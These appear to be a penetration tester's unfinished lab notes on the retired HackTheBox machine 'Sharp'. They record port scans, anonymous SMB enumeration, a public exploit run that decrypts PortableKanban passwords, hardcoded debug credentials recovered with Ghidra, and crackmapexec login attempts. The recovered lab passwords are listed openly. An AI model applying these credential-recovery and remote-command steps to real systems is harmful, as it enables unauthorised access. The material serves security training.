

Possible Usernames

05 - Common Enumeration > Possible User

Username	Passords	
Kees		
Administrator	G2@\$btRSHJYTarg	kanban
lars	G123HHrth234gRG	kanban smb dev share
cube0×0		
debug	u"SharpApplicationDebugUserPassword123!"	"RemotingLibrary" u"tcp://localhost:8888/Secre "C:\\Users\\cube0×0\\Deskt remoting\\RemotingLibrary\\

Windows 10.0 Build 17763 ×64

Nmap

PORT	STATE	SERVICE
135/tcp	open	msrpc
139/tcp	open	netbios-ssn
445/tcp	open	microsoft-ds
5985/tcp	open	http
8888/tcp	open	sun-answerbook msexchange-logcopier Microsoft Exchange 2010 log copier
8889/tcp	open	mc-nmf .NET Message Framing

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

```
# Nmap 7.91 scan initiated Mon Apr 19 21:29:39 2021 as: nmap -sC -sV -vvv -oA
nmap/Full -p- 10.10.10.219
Nmap scan report for 10.10.10.219
Host is up, received echo-reply ttl 127 (0.050s latency).
Scanned at 2021-04-19 21:29:40 EDT for 373s
Not shown: 65529 filtered ports
Reason: 65529 no-responses

PORT      STATE SERVICE          REASON          VERSION
135/tcp    open  msrpc            syn-ack ttl 127 Microsoft Windows RPC
139/tcp    open  netbios-ssn      syn-ack ttl 127 Microsoft Windows netbios-
ssn
445/tcp    open  microsoft-ds?     syn-ack ttl 127
5985/tcp   open  http             syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0
(SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8888/tcp   open  msexchange-logcopier syn-ack ttl 127 Microsoft Exchange 2010 log
copier
8889/tcp   open  mc-nmf           syn-ack ttl 127 .NET Message Framing
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -48m54s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 45554/tcp): CLEAN (Timeout)
|   Check 2 (port 34587/tcp): CLEAN (Timeout)
|   Check 3 (port 60685/udp): CLEAN (Timeout)
|   Check 4 (port 49995/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   2.02:
|_   Message signing enabled but not required
| smb2-time:
|   date: 2021-04-20T00:46:24
|_  start_date: N/A

Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
```

```
# Nmap done at Mon Apr 19 21:35:53 2021 -- 1 IP address (1 host up) scanned in
374.76 seconds
```

RPC - 135

```
python3 /opt/impacket/examples/rpcdump.py -port 135 $IP
Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth
Corporation
```

```
[*] Retrieving endpoint list from 10.10.10.219
Protocol: [MS-RSP]: Remote Shutdown Protocol
Provider: wininit.exe
UUID      : D95AFE70-A6D5-4259-822E-2C84DA1DDB0D v1.0
Bindings:
    ncacn_ip_tcp:10.10.10.219[49664]
    ncalrpc:[WindowsShutdown]
    ncacn_np:\\SHARP[\\PIPE\\InitShutdown]
    ncalrpc:[WMsgKRpc079A20]
...[snip]...
```

add SHARP to /etc/hosts

```
sudo python3 /opt/impacket/examples/rpcmap.py ncacn_ip_tcp:$IP
```

rpcclient

```
kali@kali:~$ rpcclient -U "lars" $IP
Enter WORKGROUP\\lars's password:
rpcclient $> lookupnames lars
lars S-1-5-21-294878639-2649470188-886412631-1007 (User: 1)
rpcclient $> lookupnames Administrator
Administrator S-1-5-21-294878639-2649470188-886412631-500 (User: 1)
rpcclient $> lsenumsid
found 15 SIDs

S-1-5-93-2-2
S-1-5-93-2-1
```

```

S-1-5-90-0
S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420
S-1-5-80-0
S-1-5-6
S-1-5-32-559
S-1-5-32-555
S-1-5-32-551
S-1-5-32-545
S-1-5-32-544
S-1-5-21-294878639-2649470188-886412631-1007
S-1-5-20
S-1-5-19
S-1-1-0
rpcclient $> lookupsids S-1-5-80-3139157870-2983391045-3678747466-658725712-
1809340420
S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420 NT
SERVICE\WdiServiceHost (5)

```

IOXIDResolver

```

kali@kali:~/IOXIDResolver$ python3 IOXIDResolver.py -t $IP
[*] Retrieving network interface of 10.10.10.219
Address: Sharp
Address: 10.10.10.219
Address: dead:beef::2506:2d1a:e642:b8fe

```

10 - Nmap IPv6

SMB - 139/445

Shares

```

kali@kali:~$ smbclient -N -L \\$IP
Anonymous login successful

```

Sharename	Type	Comment
-----	----	-----

ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
dev	Disk	
IPC\$	IPC	Remote IPC
kanban	Disk	

SMB1 disabled -- no workgroup available

kanban - Files

```
kali@kali:~$ smbclient -N \\\\$IP\\kanban
```

Anonymous login successful

Try "help" to get a list of possible commands.

```
smb: \> dir
```

.	D	0	Sat Nov 14 13:56:03 2020
..	D	0	Sat Nov 14 13:56:03 2020
CommandLine.dll	A	58368	Wed Feb 27 03:06:14 2013
CsvHelper.dll	A	141312	Wed Nov 8 08:52:18 2017
DotNetZip.dll	A	456704	Wed Jun 22 16:31:52 2016
Files	D	0	Sat Nov 14 13:57:59 2020
Itenso.Rtf.Converter.Html.dll	A	23040	Thu Nov 23 11:29:32 2017
Itenso.Rtf.Interpreter.dll	A	75776	Thu Nov 23 11:29:32 2017
Itenso.Rtf.Parser.dll	A	32768	Thu Nov 23 11:29:32 2017
Itenso.Sys.dll	A	19968	Thu Nov 23 11:29:32 2017
MsgReader.dll	A	376832	Thu Nov 23 11:29:32 2017
Ookii.Dialogs.dll	A	133296	Thu Jul 3 17:20:12 2014
pkb.zip	A	2558011	Thu Nov 12 15:04:59 2020
Plugins	D	0	Thu Nov 12 15:05:11 2020
PortableKanban.cfg	A	5819	Sat Nov 14 13:56:01 2020
PortableKanban.Data.dll	A	118184	Thu Jan 4 16:12:46 2018
PortableKanban.exe	A	1878440	Thu Jan 4 16:12:44 2018
PortableKanban.Extensions.dll	A	31144	Thu Jan 4 16:12:50 2018
PortableKanban.pk3	A	2080	Sat Nov 14 13:56:01 2020
PortableKanban.pk3.bak	A	2080	Sat Nov 14 13:55:54 2020
PortableKanban.pk3.md5	A	34	Sat Nov 14 13:56:03 2020
ServiceStack.Common.dll	A	413184	Wed Sep 6 07:18:22 2017
ServiceStack.Interfaces.dll	A	137216	Wed Sep 6 07:17:30 2017
ServiceStack.Redis.dll	A	292352	Wed Sep 6 07:02:24 2017
ServiceStack.Text.dll	A	411648	Tue Sep 5 23:38:18 2017
User Guide.pdf	A	1050092	Thu Jan 4 16:14:28 2018

10357247 blocks of size 4096. 7402332 blocks available

Possible User

```
kali@kali:~$ strings MsgReader.dll
...[snip]...
C:\Users\Kees\Documents\GitHub\MsgReader\MsgReader\obj\Release\MsgReader.pdb
...[snip]...
```

interesting

```
kali@kali:~/kanban$ cat PortableKanban.pk3
...[snip]...
"Users":[
{
  "Id":"e8e29158d70d44b1a1ba4949d52790a0",
  "Name":"Administrator",
  "Initials":"",
  "Email":"",
  "EncryptedPassword":"k+iUo0vQYG98PuhhRC7/rg==",
  "Role":"Admin",
  "Inactive":false,
  "TimeStamp":637409769245503731
},

  "Id":"0628ae1de5234b81ae65c246dd2b4a21",
  "Name":"lars",
  "Initials":"",
  "Email":"",
  "EncryptedPassword":"Ua3LyPFM175GN8D3+tcwLA==",
  "Role":"User",
  "Inactive":false,
  "TimeStamp":637409769265925613
}]
...[snip]...
```

Searchsploit

```
kali@kali:~$ searchsploit kanban
```

```
-----  
-----  
-----  
Exploit Title
```

```
| Path  
-----  
-----  
-----
```

```
PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
```

```
| windows/local/49409.py  
-----  
-----  
-----
```

```
Shellcodes: No Results
```

```
Papers: No Results
```

exploit

```
kali@kali:~$ python3 49409.py kanban/PortableKanban.pk3
```

```
Administrator:G2@$btRSHJYTarg
```

```
lars:G123HHrth234gRG
```

dev share - files

login with lars and password

```
ali@kali:~$ smbclient \\\\$IP\\dev -U lars
```

```
Enter WORKGROUP\\lars's password:
```

```
Try "help" to get a list of possible commands.
```

```
smb: \> dir
```

.	D	0	Sun Nov 15 06:30:13 2020
..	D	0	Sun Nov 15 06:30:13 2020
Client.exe	A	5632	Sun Nov 15 05:25:01 2020
notes.txt	A	70	Sun Nov 15 08:59:02 2020
RemotingLibrary.dll	A	4096	Sun Nov 15 05:25:01 2020
Server.exe	A	6144	Mon Nov 16 06:55:44 2020

10357247 blocks of size 4096. 7402276 blocks available

smb: \>

POSSIBLE USERS in strings in files and information

```
kali@kali:~$ strings Client.exe
...[SNIP]...
RemotingLibrary
tVnq
WrapNonExceptionThrows
Client
Copyright
  2015
$e2d87af4-09e3-406f-ae67-7dcc19daf576
1.0.0.0
.NETFramework,Version=v4.5
FrameworkDisplayName
.NET Framework 4.5
RSDS
C:\Users\cube0x0\Desktop\Sharp\net-
remoting\RemotingLibrary\Client\obj\Release\Client.pdb
_CorExeMain
mscorlib.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
...[SNIP]...
kali@kali:~$ strings Server.exe
...[SNIP]...
RemotingLibrary
WrapNonExceptionThrows
Server
```



```
Copyright
  2015
$311e8e76-b1cd-493a-8632-2856b13faeb8
1.0.0.0
.NETFramework,Version=v4.5
FrameworkDisplayName
.NET Framework 4.5
RSDS
C:\Users\cube0x0\Desktop\Sharp\net-
remoting\RemotingLibrary\Server\obj\Release\Server.pdb
_CorExeMain
mscorlib.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
```

notes.txt

```
kali@kali:~$ cat notes.txt
Todo:
  Migrate from .Net remoting to WCF
  Add input validation
```

Ghidra - Client.exe

Defined	Location	Label	Code Unit	String View	String Type	Length	Is Word
✓	00402654		utf8 u8"System.Runtime.Remoting.Chan...	"System.Runtime.Remoting.Channels"	string	33	true
✓	00402675		utf8 u8"System.Collections" (#String...	"System.Collections"	string	19	true
✓	00402688		utf8 u8"GetObject" (#Strings: [290])	"GetObject"	string	10	true
✓	00402692		utf8 u8"Client" (#Strings: [39a])	"Client"	string	7	true
✓	00402699		utf8 u8"Dictionary" (#Strings: [341])	"Dictionary"	string	12	true
✓	004026a5		utf8 u8"RemotingLibrary" (#Strings: [...	"RemotingLibrary"	string	16	true
✓	004026ba		unicode u"tcp://localhost:8888/Secre...	"u"tcp://localhost:8888/SecretSharpDebugApplicationEndpoint"	unicode	112	true
✓	0040272c		unicode u"Username" (#US: [73])	"Username"	unicode	16	true
✓	0040273a		unicode u"Debug" (#US: [95])	"Debug"	unicode	10	true
✓	0040274a		unicode u"password" (#US: [91])	"password"	unicode	16	true
✓	0040275c		unicode u"SharpApplicationDebugUserP...	"u"SharpApplicationDebugUserPassword123!"	unicode	76	true
✓	00402914		ds "C:\Users\cube0x0\Desktop\Sha...	"C:\Users\cube0x0\Desktop\Sharp\inet-remoting\RemotingLibrary\Client\obj\Release\Client.pdb"	string	90	true
✓	00402a4e		ds "CorExeMain"	"CorExeMain"	string	12	true
✓	00402a5a		ds "mscorlib.dll"	"mscorlib.dll"	string	12	true
✓	00404096		unicode u"VS_VERSION_INFO" (VS_VERSI...	"u"VS_VERSION_INFO"	unicode	32	true
✓	004040f2		unicode u"VarFileInfo"	"u"VarFileInfo"	unicode	24	true
✓	00404112		unicode u"Translation"	"u"Translation"	unicode	24	true
✓	00404136		unicode u"StringFileInfo"	"u"StringFileInfo"	unicode	30	true
✓	0040415a		unicode u"00000000"	"u"00000000"	unicode	18	false
✓	00404172		unicode u"Comments"	"u"Comments"	unicode	18	true
✓	0040418e		unicode u"CompanyName"	"u"CompanyName"	unicode	24	true
✓	004041b2		unicode u"FileDescription"	"u"FileDescription"	unicode	32	true
✓	004041d4		unicode u"Client"	"u"Client"	unicode	14	true
✓	004041ea		unicode u"FileVersion"	"u"FileVersion"	unicode	24	true
✓	00404204		unicode u"1.0.0.0"	"u"1.0.0.0"	unicode	16	false
✓	0040421a		unicode u"InternalName"	"u"InternalName"	unicode	26	true
✓	00404234		unicode u"Client.exe"	"u"Client.exe"	unicode	22	true
✓	00404252		unicode u"LegalCopyright"	"u"LegalCopyright"	unicode	30	true
✓	00404259		unicode u"LegalTrademarks"	"u"LegalTrademarks"	unicode	32	true
✓	004042c6		unicode u"OriginalFilename"	"u"OriginalFilename"	unicode	34	true
✓	004042e8		unicode u"Client.exe"	"u"Client.exe"	unicode	22	true
✓	00404306		unicode u"ProductName"	"u"ProductName"	unicode	24	true
✓	00404320		unicode u"Client"	"u"Client"	unicode	14	true
✓	00404336		unicode u"ProductVersion"	"u"ProductVersion"	unicode	30	true
✓	00404354		unicode u"1.0.0.0"	"u"1.0.0.0"	unicode	16	false
✓	0040436a		unicode u"AssemblyVersion"	"u"AssemblyVersion"	unicode	34	true

user - debug

password - SharpApplicationDebugUserPassword123!

crackmapexec

```
kali@kali:~$ crackmapexec smb $IP -u "lars" -p "G123HHrth234gRG" -x whoami
SMB 10.10.10.219 445 SHARP [*] Windows 10.0 Build
17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False)
SMB 10.10.10.219 445 SHARP [+]
Sharp\lars:G123HHrth234gRG
```

Windows 10.0 Build 17763 x64

winrm - 5985

nothing

```
kali@kali:~$ crackmapexec winrm $IP -u "lars" -p "G123HHrth234gRG" -x whoami
WINRM 10.10.10.219 5985 SHARP [*] Windows 10.0 Build
17763 (name:SHARP) (domain:Sharp)
WINRM 10.10.10.219 5985 SHARP [*]
http://10.10.10.219:5985/wsman
WINRM 10.10.10.219 5985 SHARP [-]
Sharp\lars:G123HHrth234gRG
```

.net message Framing - 8889

[wcf_net_probe.py](#)

```
python2.7 test.py $IP 8889
Connecting ...
Sending a probe request ...
0000  00 01 00 01 02 02 24 6e  65 74 2e 74 63 70 3a 2f  .....$net.tcp:/
0010  2f 69 64 6f 6e 74 65 78  69 73 74 2e 6c 6f 6c 3a  /idontexist.lol:
0020  32 30 32 30 2f 64 75 6d  6d 79 2f 03 08 0c        2020/dummy/...
Receiving response ...
Gratz! There is a proper WCF net.tcp handler there. Go hack it.
```

Nmap IPv6

dead:beef::2506:2d1a:e642:b8fe

PORT	STATE	SERVICE
135/tcp	open	msrpc
445/tcp	open	microsoft-ds
5985/tcp	open	http

```
# Nmap 7.91 scan initiated Tue Apr 20 12:49:29 2021 as: nmap -6 -sC -sV -vvv -
p- -oA nmap/Fullv6 -Pn dead:beef::2506:2d1a:e642:b8fe
Nmap scan report for dead:beef::2506:2d1a:e642:b8fe
Host is up, received user-set (0.027s latency).
Scanned at 2021-04-20 12:49:30 EDT for 126s
Not shown: 65532 filtered ports
Reason: 65532 no-responses
PORT      STATE SERVICE      REASON  VERSION
135/tcp   open  msrcpc       syn-ack Microsoft Windows RPC
445/tcp   open  microsoft-ds? syn-ack
5985/tcp  open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Bad Request
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -48m34s
```

```
| smb2-security-mode:  
|   2.02:  
|_   Message signing enabled but not required  
| smb2-time:  
|   date: 2021-04-20T16:02:50  
|_   start_date: N/A
```

Read data files from: /usr/bin/../../share/nmap

Service detection performed. Please report any incorrect results at
<https://nmap.org/submit/> .

Nmap done at Tue Apr 20 12:51:36 2021 -- 1 IP address (1 host up) scanned in
127.15 seconds

Can we do this with linux... lets try..

[net.tcp-proxy](#)
[blog](#)

To do

set up Windows VM (Commando)

install Visual studio.

Build exploit

DNF - Box Retired

Ran out of time.

Did not finish box.

It has been retired.

For full write up.

Check out [jppsec - Sharp](#)